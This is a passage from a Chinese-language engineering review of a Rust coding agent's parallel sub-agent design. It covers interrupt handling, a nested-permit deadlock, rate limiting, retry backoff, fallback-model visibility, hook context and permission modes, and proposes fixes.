<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="k">crate</span><span class="p">::</span><span class="n">interrupt</span><span class="p">::</span><span class="n">take</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">interrupted</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span><span class="w"> </span><span class="k">break</span><span class="p">;</span><span class="w"> </span><span class="p">}</span>
<span class="w">    </span><span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div>


用户按 Ctrl-C，标志被设上，但主线程正阻塞在 <code>execute</code> → <code>run_subagent</code> → <code>gate.acquire()</code> 里面，看不到标志。要等到某个子代理跑完、<code>run()</code> 回到下一轮循环的开头，中断才生效。而一个子代理最长可以跑 40 轮，每轮一次 LLM 往返——120 秒超时 × 40 轮的最坏情况是 80 分钟。

<strong>第二，等待是不可取消的。</strong> 即使把中断检查加到 <code>acquire</code> 里，<code>Condvar::wait</code> 本身也不返回中断状态；需要的是 <code>wait_timeout</code> 配合轮询：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">acquire</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">interrupt</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="nc">AtomicBool</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Option</span><span class="o">&lt;</span><span class="n">GateGuard</span><span class="o">&lt;&#39;</span><span class="nb">_</span><span class="o">&gt;&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">active</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">active</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w">    </span><span class="k">while</span><span class="w"> </span><span class="o">*</span><span class="n">active</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">max</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="n">interrupt</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="n">Ordering</span><span class="p">::</span><span class="n">SeqCst</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">None</span><span class="p">;</span><span class="w"> </span><span class="p">}</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="p">(</span><span class="n">guard</span><span class="p">,</span><span class="w"> </span><span class="n">_timeout</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">cv</span><span class="p">.</span><span class="n">wait_timeout</span><span class="p">(</span><span class="n">active</span><span class="p">,</span><span class="w"> </span><span class="n">Duration</span><span class="p">::</span><span class="n">from_millis</span><span class="p">(</span><span class="mi">200</span><span class="p">)).</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w">        </span><span class="n">active</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">guard</span><span class="p">;</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="o">*</span><span class="n">active</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w">    </span><span class="nb">Some</span><span class="p">(</span><span class="n">GateGuard</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">gate</span><span class="p">:</span><span class="w"> </span><span class="nc">self</span><span class="w"> </span><span class="p">})</span>
<span class="p">}</span>
</code></pre></div>


轮询间隔是这类问题的常用解法：它把「无限期等待」变成「最长 200ms 的响应延迟」，代价是每 200ms 一次虚假唤醒。在四个槽位的规模下，这个代价可以忽略。

值得注意的是这个缺陷和 05 里「子代理不检查中断」是同一类问题的两个位置：中断这件事需要<strong>在每一个可能长时间阻塞的地方</strong>都检查一次，只在一处检查等于没检查。
<h2>门不重入：嵌套子代理可能自我死锁</h2>

这是本文唯一一个会导致<strong>永久卡死</strong>的发现。它的前提是上一节讲的「防嵌套只挡广告位」：只要模型输出了 <code>subagent</code> 调用，嵌套就会发生。而嵌套会再走一遍 <code>run_subagent</code>：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">run_subagent</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;</span><span class="nb">String</span><span class="p">,</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">start</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">);</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">_permit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">gate</span><span class="p">.</span><span class="n">acquire</span><span class="p">();</span><span class="w">   </span><span class="c1">// 内层在这里等</span>
<span class="w">    </span><span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div>


外层子代理<strong>已经持有一个许可</strong>，它在整个 <code>run_subagent_inner</code> 期间不释放（<code>_permit</code> 活到函数结束）。所以：
<ul>
<li>4 个槽位，父代理派了 4 个外层子代理，全部许可被占</li>
<li>每个外层子代理各调一次 <code>subagent</code>，4 个内层调用并发进入 <code>acquire</code></li>
<li>内层的 4 个线程都在 <code>wait</code>，等外层释放；外层在等内层返回</li>
<li>环闭合，永久阻塞</li>
</ul>

<code>Condvar::wait</code> 没有超时，所以这不是「卡一会儿」，是「一直到进程被杀」。

有意思的是这个场景需要满足几个条件才会真的发生：模型得在工具清单里没有 <code>subagent</code> 的情况下仍然输出这个调用。概率不高，但它的后果是灾难级的（整个 turn 永久挂起，用户看到的是 agent 不动了，Ctrl-C 也不一定救得回来——因为 Ctrl-C 只设标志，而标志在这个等待里不被检查）。

正确的修法有两条，建议同时做：
<div class="codehilite"><pre><span></span><code><span class="c1">// 1. 执行期闸门：把「子代理不可再派子代理」变成 check_tool 的硬规则</span>
<span class="c1">//    Ctx 加 depth，run_subagent 入口断言</span>
<span class="k">if</span><span class="w"> </span><span class="n">ctx</span><span class="p">.</span><span class="n">depth</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="s">&quot;nested sub-agents are not supported&quot;</span><span class="p">.</span><span class="n">into</span><span class="p">());</span><span class="w"> </span><span class="p">}</span>

<span class="c1">// 2. 让门可重入：许可数 &gt;= 1 时，同一执行链的重复获取直接通过</span>
<span class="c1">//    或者在嵌套时不再 acquire（外层已经代表这条链占了位）</span>
</code></pre></div>


第一条是根治：不允许的调用直接报错，报错会记在任务板上（<code>failed</code>），模型能看懂。第二条是把配额语义从「线程数」改成「执行链条数」——也就是「一个子代理算一个单位的预算，它内部再怎么嵌套都不额外占位」。两者选一即可，但必须选一个：现在的实现是「既不禁止嵌套，也不让门重入」，这是唯一会死锁的组合。
<h2>限流只限了并发数，没限请求速率</h2>

<code>Gate</code> 限的是「同时有几个子代理在跑」，这是一个<strong>并发度</strong>限制。它不限制：
<ul>
<li>每秒发多少次 LLM 请求</li>
<li>总共发多少次</li>
<li>单个子代理能跑多少轮</li>
</ul>

四个槽位、每个子代理 40 轮，一轮一次请求，那么一个 turn 最多产生 160 次 LLM 请求。如果父代理自己也在跑（40 轮），总共 200 次。这些请求全部在几分钟内打出去，而 API 侧的限流是按 token 或请求/分钟计的。

这是一个语义错配：<strong>本地的并发控制解决不了远端的速率限制</strong>。门做得再好，远端返回 429 的时候还是得退避。

真正需要的是一层「预算」——不是「同时几个」，而是「一共多少」。这在多体场景下尤其重要，因为子代理的轮数是不可预测的（它不会因为「这次任务很简单」而少跑几轮，它跑满到模型不再调工具为止）。

一个务实的做法是给 <code>Ctx</code> 加一个共享的计数器和上限：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">Budget</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">remaining</span><span class="p">:</span><span class="w"> </span><span class="nc">Mutex</span><span class="o">&lt;</span><span class="kt">usize</span><span class="o">&gt;</span><span class="p">,</span><span class="w">   </span><span class="c1">// 剩余请求数</span>
<span class="p">}</span>
</code></pre></div>


父代理和所有子代理从同一个预算里扣。扣完了子代理就返回「预算耗尽」而不是继续跑。这让「一个 turn 最多花多少钱」变成一个可配置的量，而不是「4 × 40 × 单次成本」这个上限。
<h2>重试风暴：四份退避曲线没有抖动</h2>

失败重试的逻辑在 <code>llm::chat</code> 里：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="n">is_retryable_error</span><span class="p">(</span><span class="o">&amp;</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="n">attempt</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="n">cfg</span><span class="p">.</span><span class="n">max_retries</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">attempt</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">delay</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">backoff_ms</span><span class="p">(</span><span class="n">cfg</span><span class="p">.</span><span class="n">retry_base_ms</span><span class="p">,</span><span class="w"> </span><span class="n">attempt</span><span class="p">);</span>
<span class="w">    </span><span class="fm">eprintln!</span><span class="p">(</span><span class="s">&quot;note: request failed ({e}); retrying in {delay}ms (attempt {attempt}/{})&quot;</span><span class="p">,</span><span class="w"> </span><span class="o">..</span><span class="p">.);</span>
<span class="w">    </span><span class="n">std</span><span class="p">::</span><span class="n">thread</span><span class="p">::</span><span class="n">sleep</span><span class="p">(</span><span class="n">Duration</span><span class="p">::</span><span class="n">from_millis</span><span class="p">(</span><span class="n">delay</span><span class="p">));</span>
<span class="w">    </span><span class="k">continue</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>


退避函数是纯指数的：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">backoff_ms</span><span class="p">(</span><span class="n">base_ms</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span><span class="w"> </span><span class="n">attempt</span><span class="p">:</span><span class="w"> </span><span class="kt">u32</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">u64</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">base_ms</span>
<span class="w">        </span><span class="p">.</span><span class="n">saturating_mul</span><span class="p">(</span><span class="mi">2</span><span class="k">u64</span><span class="p">.</span><span class="n">saturating_pow</span><span class="p">(</span><span class="n">attempt</span><span class="p">.</span><span class="n">saturating_sub</span><span class="p">(</span><span class="mi">1</span><span class="p">)))</span>
<span class="w">        </span><span class="p">.</span><span class="n">min</span><span class="p">(</span><span class="mi">30_000</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


默认参数：<code>max_retries = 2</code>、<code>retry_base_ms = 500</code>。所以第一次失败等 500ms，第二次等 1000ms，然后放弃（走 fallback 模型或不走）。

<code>is_retryable_error</code> 只认两类：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">is_retryable_error</span><span class="p">(</span><span class="n">e</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">e</span><span class="p">.</span><span class="n">contains</span><span class="p">(</span><span class="s">&quot;HTTP 429&quot;</span><span class="p">)</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="cm">/* 5xx */</span>
<span class="p">}</span>
</code></pre></div>


注意它是<strong>字符串匹配</strong>，而不是状态码解析。<code>e.contains("HTTP 429")</code> 依赖错误消息的格式恰好包含这个子串——如果真的改了错误格式（比如换成 <code>status: 429</code>），重试就会静默失效。04 里讲 <code>clamp</code> 的单位标注问题时提过同一个模式：错误字符串是接口，但它的形状没有被测试固定下来。

回到多体。四份退避曲线完全没有随机化，所以如果 API 在某一刻对这四个子代理同时返回 429（比如同一个 key 的配额被打满），它们的重试是<strong>同步的</strong>：四个线程都在 500ms 后重试，然后都在 1000ms 后重试。这就是教科书里的惊群重试（thundering herd），只不过规模从「上千个客户端」缩小到「四个子代理」。

修法是标准的三件套：
<div class="codehilite"><pre><span></span><code><span class="c1">// 1. 加抖动：delay = base * 2^(n-1) * (0.5 + rand*0.5)</span>
<span class="c1">// 2. 尊重 Retry-After 响应头</span>
<span class="c1">// 3. 在共享层做退避：一个子代理被 429 之后，其他子代理也暂停一会儿</span>
</code></pre></div>


第三条在多体场景下比前两条更重要——因为「四个子代理打同一个 API key」这个事实，只有共享层知道。

顺带说一句：退避的重试是<strong>阻塞的 <code>thread::sleep</code></strong>。四个子代理各睡 500ms 不影响别的线程（它们是独立线程），但父代理自己的重试会阻塞整个 turn。这个设计本身没问题，只是要知道代价：一次 429 会让那条时间线静默 500ms 到 30 秒。
<h2>fallback 模型：降级是静默的</h2>

重试耗尽之后还有一层：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">fallback</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&amp;</span><span class="n">cfg</span><span class="p">.</span><span class="n">fallback_model</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">is_retryable_error</span><span class="p">(</span><span class="o">&amp;</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="fm">eprintln!</span><span class="p">(</span><span class="s">&quot;note: primary model failed ({e}); retrying with fallback model `{fallback}`&quot;</span><span class="p">);</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="n">chat_with_model</span><span class="p">(</span><span class="n">cfg</span><span class="p">,</span><span class="w"> </span><span class="n">build_body</span><span class="p">(</span><span class="n">fallback</span><span class="p">),</span><span class="w"> </span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="n">on_text</span><span class="p">);</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="n">e</span><span class="p">);</span>
</code></pre></div>


三个观察。

<strong>第一，fallback 是「换模型重试一次」，不是「换到备用通道」。</strong> 它对 429 和 5xx 都触发，但前提是主模型已经重试过 <code>max_retries</code> 次。

<strong>第二，它只对「重试耗尽的错误」生效。</strong> 一个 401（鉴权失败）既不重试也不 fallback，直接返回错误。这个分类是对的：鉴权问题换模型也解决不了。

<strong>第三，降级的可见性很低。</strong> 那行 <code>eprintln!</code> 是唯一提示。用户如果用的是 JSON 输出模式或者守护进程模式，这行 note 会混在 stderr 里。而<strong>子代理的降级对父代理完全不可见</strong>——子代理的两次 <code>llm::chat</code> 都可能降级到 fallback 模型，父代理拿到的只是最终文本，不知道这份结果是哪个模型产出的。

这在成本核算上是真实的问题：一个 turn 里四个子代理全降级到 fallback（可能贵得多或便宜得多），用量统计只记得总 token 数，不记得模型。<code>UsageTotals</code> 记得 <code>requests</code> / <code>prompt_tokens</code> / <code>completion_tokens</code>，没有 <code>model</code> 维度。
<h2>为什么是 4：一个常识上限的代价</h2>
<div class="codehilite"><pre><span></span><code><span class="k">const</span><span class="w"> </span><span class="n">MAX_PARALLEL_SUBAGENTS</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">4</span><span class="p">;</span>
</code></pre></div>


这个 4 是硬编码的，不可配置。它的合理性论证大概是：写代码的工作很少真正需要超过 4 个并发子任务；4 个并发的 LLM 请求对大部分 API 套餐是安全的；4 个并行的 <code>run_command</code> 对本地机器也不会打满。

但它带来三个代价。

<strong>代价一：它也是「父代理并行工具调用的并发度上限」</strong>。因为父代理的工具调用是「一个工具一个线程」，如果父代理一次性发出 8 个 <code>subagent</code> 调用（模型完全可以这么做），那么 4 个拿许可、4 个排队——而排队的 4 个线程<strong>各自占着一个工具线程</strong>。工具线程没有上限（05 讲过），所以这里不会崩，只是 4 个线程白占着。

<strong>代价二：它不可配置意味着不能按机器和套餐调整。</strong> 一台 64 核机器上跑 4 个子代理是浪费，一个只有 2 个并发的 API 套餐上跑 4 个会一直在 429。这个数字应该来自配置，和 <code>max_iterations</code> 一样。

<strong>代价三：它和「一个 turn 能派多少子代理」是两个独立的事。</strong> 模型的工具 schema 没有限制 <code>subagent</code> 在同一个 turn 里出现几次，所以模型可以一次派 20 个。20 个任务全部登记在板上（<code>Running</code>），4 个在跑，16 个在排队——每个排队任务都显示成 running（第 17 节）。

把这三条合起来看，比「4 太小」更有价值的问题是：<strong>这个数字在代码里的位置决定了它的语义模糊</strong>。它在 <code>agent.rs</code> 里作为一个模块常量，看起来是「主循环的行为参数」；实际它是「资源配额」，属于 <code>Ctx</code> 或配置层。位置一变，可配置和可测试都会自然解决。
<h2>agent_list 会不会真的被模型用起来</h2>

<code>agent_list</code> 的工具描述和参数都极简：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">agent_list_tool_spec</span><span class="p">()</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nc">Value</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">json</span><span class="o">!</span><span class="p">({</span>
<span class="w">        </span><span class="s">&quot;type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s">&quot;function&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="s">&quot;function&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="s">&quot;name&quot;</span><span class="p">:</span><span class="w"> </span><span class="s">&quot;agent_list&quot;</span><span class="p">,</span>
<span class="w">            </span><span class="s">&quot;description&quot;</span><span class="p">:</span><span class="w"> </span><span class="s">&quot;List the sub-agent delegations started in this session (id, status, name, task, result preview).&quot;</span><span class="p">,</span>
<span class="w">            </span><span class="s">&quot;parameters&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="s">&quot;type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s">&quot;object&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;properties&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{},</span><span class="w"> </span><span class="s">&quot;required&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[]</span><span class="w"> </span><span class="p">}</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">    </span><span class="p">})</span>
<span class="p">}</span>
</code></pre></div>


它的输出是逐行文本：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">String</span><span class="p">::</span><span class="n">from</span><span class="p">(</span><span class="s">&quot;Sub-agent jobs:</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
<span class="k">for</span><span class="w"> </span><span class="n">job</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">jobs</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">out</span><span class="p">.</span><span class="n">push_str</span><span class="p">(</span><span class="o">&amp;</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;- {} [{}] {} ({}) — {}</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="n">job</span><span class="p">.</span><span class="n">id</span><span class="p">,</span><span class="w"> </span><span class="n">job</span><span class="p">.</span><span class="n">status</span><span class="p">.</span><span class="n">as_str</span><span class="p">(),</span><span class="w"> </span><span class="n">job</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">duration</span><span class="p">,</span><span class="w"> </span><span class="n">job</span><span class="p">.</span><span class="n">task</span><span class="p">));</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="o">!</span><span class="n">job</span><span class="p">.</span><span class="n">result</span><span class="p">.</span><span class="n">is_empty</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">out</span><span class="p">.</span><span class="n">push_str</span><span class="p">(</span><span class="o">&amp;</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;  result: {}</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">job</span><span class="p">.</span><span class="n">result</span><span class="p">));</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


有个细节：<code>result</code> 那行用的是「两空格缩进」，但上一行已经用 <code>—</code> 引了 task，所以一个带结果的条目实际占两行，视觉上是一组。这是可读的。

更值得讨论的是「模型会不会用它」。在父代理的工作流里，<code>agent_list</code> 的用途是：
<ul>
<li>派了子代理之后，等它跑完再看结果（但 <code>subagent</code> 本身是阻塞的，派出去就等返回，所以这条不成立）</li>
<li>检查刚才派了什么（模型记不住的时候）</li>
<li>看历史的失败原因</li>
</ul>

第一条不成立这件事值得展开。<code>subagent</code> 是<strong>同步阻塞</strong>的——父代理调用它，就等在那儿直到子代理返回。这和多体直觉里的「派出去，回来拿结果」不同。所以在这个实现里：
<ul>
<li>模型无法「先派 4 个，再去看谁的进度」</li>
<li>一个 turn 内的 4 个 <code>subagent</code> 调用是<strong>并行但都阻塞</strong>的（靠父代理的 <code>thread::scope</code>），所以它们确实重叠执行</li>
<li>但 <code>agent_list</code> 在父代理这边只能在别的工具调用里顺带看一眼，它的价值主要是「事后审计」而不是「进度跟踪」</li>
</ul>

换句话说，<code>agent_list</code> 的价值在异步派发的架构里会大得多。在当前架构里，它更像一个「可观测性兜底」：出问题的时候，模型和用户能回头看看发生了什么。
<h2>子代理的中间过程在终端里是静默的</h2>

父代理的工具调用会经过 <code>Style::tool_call</code> 打印：
<div class="codehilite"><pre><span></span><code><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">call</span><span class="p">,</span><span class="w"> </span><span class="n">result</span><span class="p">)</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">turn</span><span class="p">.</span><span class="n">tool_calls</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">zip</span><span class="p">(</span><span class="n">results</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="bp">self</span><span class="p">.</span><span class="n">style</span><span class="p">.</span><span class="n">tool_call</span><span class="p">(</span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">summarize</span><span class="p">(</span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">arguments</span><span class="p">),</span><span class="w"> </span><span class="o">&amp;</span><span class="n">result</span><span class="p">);</span>
<span class="w">    </span><span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div>


而子代理的循环里是：
<div class="codehilite"><pre><span></span><code><span class="k">for</span><span class="w"> </span><span class="n">call</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="o">&amp;</span><span class="n">turn</span><span class="p">.</span><span class="n">tool_calls</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">call</span><span class="p">);</span>
<span class="w">    </span><span class="n">messages</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">json</span><span class="o">!</span><span class="p">({</span><span class="w"> </span><span class="s">&quot;role&quot;</span><span class="p">:</span><span class="w"> </span><span class="s">&quot;tool&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;tool_call_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">call</span><span class="p">.</span><span class="n">id</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;content&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">out</span><span class="w"> </span><span class="p">}));</span>
<span class="p">}</span>
</code></pre></div>


<strong>没有 <code>style.tool_call</code>。</strong> 所以子代理调用的每一个工具在终端上都是不可见的——用户看到的是「派了 reviewer，等了两分钟，回来一段文字」，中间那次 <code>read_file</code>、那次 <code>run_command</code>、那条命令的输出，全都没有显示。

在守护进程模式下这个更明显：守护进程会把 <code>UiSink</code> 装上让工具调用流到客户端（<code>stream_turn</code> 的注释写了这一点），但子代理的内部调用不走这条路径，因为它们压根不调 <code>style</code> 的方法。

这是一个明确的可用性缺口。修法有两种：
<div class="codehilite"><pre><span></span><code><span class="c1">// 方案一：直接打印，但加上角色前缀</span>
<span class="bp">self</span><span class="p">.</span><span class="n">style</span><span class="p">.</span><span class="n">tool_call</span><span class="p">(</span><span class="o">&amp;</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;{}:{}&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">call</span><span class="p">.</span><span class="n">name</span><span class="p">),</span><span class="w"> </span><span class="o">&amp;</span><span class="n">summarize</span><span class="p">(</span><span class="o">..</span><span class="p">.),</span><span class="w"> </span><span class="o">&amp;</span><span class="n">out</span><span class="p">);</span>

<span class="c1">// 方案二：给 Style 加一层缩进/前缀上下文</span>
</code></pre></div>


方案一的代价是输出会交叉——四个子代理的调用会交错打印，没有归属就仍然读不懂。所以真正需要的是「带角色标签的样式」，也就是 05 讲「并发审批共用 stdin」时暴露的同一类问题：<strong>多体需要一层「谁在说话」的表达能力，而现在这一层不存在</strong>。
<h2>钩子分不出父子：没有 NANOHERMES_AGENT</h2>

06 讲过钩子通过环境变量拿到工具名和事件名：
<div class="codehilite"><pre><span></span><code><span class="c1">// hooks::run 里设置的环境变量</span>
<span class="n">NANOHERMES_TOOL_NAME</span>
<span class="n">NANOHERMES_HOOK_EVENT</span>
</code></pre></div>


子代理的每次工具调用也会走 <code>execute</code>，所以 <code>PreToolUse</code> 钩子<strong>对子代理同样生效</strong>——这是好消息：06 里那道「用户自定义否决」的闸门在多体下没有失效。

但它拿到的信息里没有「这是谁发起的调用」：
<ul>
<li><code>NANOHERMES_TOOL_NAME=write_file</code> —— 父代理写的还是 reviewer 子代理写的？</li>
<li>钩子无法根据调用者做不同策略</li>
<li>钩子也无法记录「子代理 A 一共改了几个文件」</li>
</ul>

环境变量里缺一个 <code>NANOHERMES_AGENT</code>（父代理为空、子代理为名字）、<code>NANOHERMES_AGENT_ID</code>（<code>agent-7</code>）。加上它之后，钩子就能实现「子代理只能读、父代理可以写」这类策略——而这正是多体最需要的粒度。

顺带说，加了这两个变量还能同时解决另一个问题：钩子的输出会原样回到模型，如果钩子打印了 <code>[agent-7]</code> 前缀，模型就能知道那条否决意见是谁触发的。
<h2>权限模式对多体的语义</h2>

06 讲的五种权限模式在多体下需要重新理解一遍。因为子代理继承父代理的模式，所以模式的分层是「父代理决定、子代理跟随」。逐一看：
<div class="table-scroll"><table>
<thead>
<tr>
<th>模式</th>
<th>父代理能派子代理吗</th>
<th>子代理能做什么</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>default</code></td>
<td>能</td>
<td>和父代理一样</td>
</tr>
<tr>
<td><code>accept-edits</code></td>
<td>能</td>
<td>文件改动免问（<code>auto_approve</code> 不影响文件工具），命令仍问</td>
</tr>
<tr>
<td><code>plan</code></td>
<td>能</td>
<td>派发本身允许，但写工具被封，命令被封</td>
</tr>
<tr>
<td><code>goal</code></td>
<td>能</td>
<td>全放开，没有人可以问</td>
</tr>
<tr>
<td><code>debug</code></td>
<td>能</td>
<td>能跑命令复现，不能改文件</td>
</tr>
</tbody>
</table></div>

两个值得注意的地方。

<strong>第一，<code>plan</code> 模式允许派子代理。</strong> <code>blocked_tools</code> 里没有 <code>subagent</code>，所以 Plan 模式下模型可以派子代理，子代理也继承 Plan 模式从而被封住写工具。结果是「派了 4 个子代理，它们什么都不能改」。这个组合没有安全隐患（写不了就是写不了），但它会消耗四次 LLM 往返去得到一个「我做不到」的结论。合理的行为是在 <code>plan</code> 模式下直接把 <code>subagent</code> 从工具清单里去掉——因为纯分析任务不需要委派。

